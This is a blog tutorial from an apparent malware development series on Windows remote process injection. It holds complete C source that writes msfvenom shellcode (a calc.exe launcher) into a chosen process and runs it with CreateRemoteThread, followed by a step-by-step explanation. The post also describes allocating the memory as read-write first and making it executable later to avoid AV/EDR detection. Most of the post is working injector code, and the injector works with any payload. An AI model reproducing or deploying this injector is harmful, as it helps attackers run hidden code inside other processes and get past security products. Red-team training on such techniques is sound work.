0x01 - Process Injection Part I

1050 words

5 minutes

0x01 - Process Injection Part I

2025-11-18

Malware Development

Malware

/

Shellcode

/

Red Team

/

Process Injection

/

AV Bypass

Intro#

So after writing local shellcode injection, now let’s inject our shellcode into remote process which is also called process injection. We can inject our shellcode into other process such as notepad.exe, explorer.exe, etc…

To inject shellcode into other process, we’re gonna need these WinAPI.

OpenProcess - To open a process with specific PID
VirtualAllocEx - Same as VirtualAlloc but it allow us for allocating memory for remote process.
WriteProcessMemory - To write our shellcode into remote process
VirtualProtectEx - To change memory region to be executable
CreateRemoteThread - Similar to CreateThread but for remote thread.

Source Code#

Let review the source code first to get better vision.

1
#include <Windows.h>
2
#include <stdio.h>
3
#include <Tlhelp32.h>
4

5
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
6
unsigned char pShellcode[] = {
7
  0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
8
  0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
9
  0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
10
  0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
11
  0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
12
  0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
13
  0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
14
  0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
15
  0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
16
  0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
17
  0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
18
  0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
19
  0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
20
  0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
21
  0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
22
  0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
23
  0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
24
  0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
25
  0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
26
  0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
27
  0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
28
  0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
29
  0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
30
};
31

32
// we create a function called InjectRemoteProcess
33
BOOL InjectRemoteProcess(DWORD Pid, PBYTE pShellcode, SIZE_T pShellcodeSize) {
34
  // open process to specify Pid
35
  HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
36
  if (hProcess == NULL) {
37
    printf("[!] OpenProcess Failed With Error : %d \n", GetLastError());
38
    return FALSE;
39
  }
40
  printf("[i] OpenProcess to PID: %i \n", Pid);
41

42
  // allocating memory into a specific process id that you supply
43
  PVOID pShellcodeAddress = VirtualAllocEx(hProcess, NULL, pShellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
44

45
  if (pShellcodeAddress == NULL) {
46
    printf("[!] VirtualAllocEx Failed With Error : %d \n", GetLastError());
47
    return FALSE;
48
  }
49
  printf("[i] Allocated Memory At : 0x%p \n", pShellcodeAddress);
50

51
  // write our shellcode into allocated memory
52
  if (!WriteProcessMemory(hProcess, pShellcodeAddress, pShellcode, pShellcodeSize, NULL)) {
53
    printf("[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
54
    return FALSE;
55
  }
56
  printf("[i] Write shellcode to 0x%p\n", pShellcodeAddress);
57

58
  // change to PAGE_EXECUTE_READWRITE
59
  DWORD dwOldProtection = NULL;
60
  if (!VirtualProtectEx(hProcess,pShellcodeAddress,pShellcodeSize, PAGE_EXECUTE_READWRITE,&dwOldProtection)) {
61
    printf("[!] VirtualProtectEx Failed With Error : %d \n", GetLastError());
62
    return FALSE;
63
  }
64

65
  // create new thread into remote process
66
  printf("[i] Create remote thread to execute payload\n");
67
  HANDLE hRemoteThread = CreateRemoteThread(hProcess,NULL,0, pShellcodeAddress,NULL,0,NULL);
68
  if (hRemoteThread == NULL) {
69
    printf("[!] CreateRemoteThread Failed With Error : %d \n", GetLastError());
70
    return FALSE;
71
  }
72
  printf("[i] Done\n");
73

74
  CloseHandle(hProcess);
75
  CloseHandle(hRemoteThread);
76
  return TRUE;
77
}
78

79
int main(int argc, char* argv[]) {
80
  if (argc < 2) {
81
    printf("[!] Usage : \"%s\" <Process ID> \n", argv[0]);
82
    return -1;
83
  }
84

85
  int Pid = atoi(argv[1]);
86
  SIZE_T pShellcodeSize = sizeof(pShellcode);
87
  // calling the function
88
  if (!(InjectRemoteProcess(Pid, pShellcode, pShellcodeSize))) {
89
    return -1;
90
  }
91
  return 0;
92
}

Opening a Process#

You might familar writing Window API from the first post. First we created a function called InjectRemoteProcess. Function parameters will be processID, shellcode and shellcode size.

The first API will be OpenProcess

1
HANDLE OpenProcess(
2
  [in] DWORD dwDesiredAccess,
3
  [in] BOOL  bInheritHandle,
4
  [in] DWORD dwProcessId
5
);

This is a new one. We use it to open a process in a specific Pid that we have to supply as a argument like .\ProcessInjection 1337.

We used PROCESS_ALL_ACCESS for dwDesiredAccess parameter as per MSDN page.

And FALSE for bInheritHandle since we don’t want to inherit of any child of current process. We can use FALSE for process injection. dwProcessId will be our Pid.

1
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
2
if (hProcess == NULL) {
3
    printf("[!] OpenProcess Failed With Error : %d \n", GetLastError());
4
    return FALSE;
5
}
6
printf("[i] OpenProcess to PID: %i \n", Pid);

Allocating Memory#

As I said above, this is similar to VirtualAlloc from the first post, VirtualAllocEx is for allocating memory from a remote process. We just used PAGE_READWRITE in here for a moment to avoid high entropy of AV/EDR. We will change this PAGE_EXECUTE_READWRITE later using VirtualProtectEx API. Now our code will be look like this:

1
PVOID pShellcodeAddress = VirtualAllocEx(hProcess, NULL, pShellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
2
if (pShellcodeAddress == NULL) {
3
    printf("[!] VirtualAllocEx Failed With Error : %d \n", GetLastError());
4
    return FALSE;
5
}
6
printf("[i] Allocated Memory At : 0x%p \n", pShellcodeAddress);

Writing Shellcode to Allocated Memory#

Another new API is WriteProcessMemory which for writing our shellcode into allocated memory to a remote process.

1
BOOL WriteProcessMemory(
2
  [in]  HANDLE  hProcess,
3
  [in]  LPVOID  lpBaseAddress,
4
  [in]  LPCVOID lpBuffer,
5
  [in]  SIZE_T  nSize,
6
  [out] SIZE_T  *lpNumberOfBytesWritten
7
);

hProcess is handle of our OpenProcess.
lpBaseAddress will be our pShellcodeAddress.
lpBuffer is our pShellcode.
nSize is the size of our shellcode pShellcodeSize.
lpNumberOfBytesWritten we can set NULL for this.

1
if (!WriteProcessMemory(hProcess, pShellcodeAddress, pShellcode, pShellcodeSize, NULL)) {
2
    printf("[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
3
    return FALSE;
4
}
5
printf("[i] Write shellcode to 0x%p\n", pShellcodeAddress);

VirtualProtectEx and CreateRemoteThread are the same as from the first post.

At the end we have to close our handle.

1
CloseHandle(hProcess);
2
CloseHandle(hRemoteThread);

After that we can call this InjectRemoteProcess function from our main.

1
int main(int argc, char* argv[]) {
2

3
  // checking arguments
4
  if (argc < 2) {
5
    printf("[!] Usage : \"%s\" <Process ID> \n", argv[0]);
6
    return -1;
7
  }
8
  // atoi for converting string to integer
9
  int Pid = atoi(argv[1]);
10
  // declare the size of the shellcode
11
  SIZE_T pShellcodeSize = sizeof(pShellcode);
12
  // calling the function
13
  if (!(InjectRemoteProcess(Pid, pShellcode, pShellcodeSize))) {
14
    return -1;
15
  }
16
  return 0;
17
}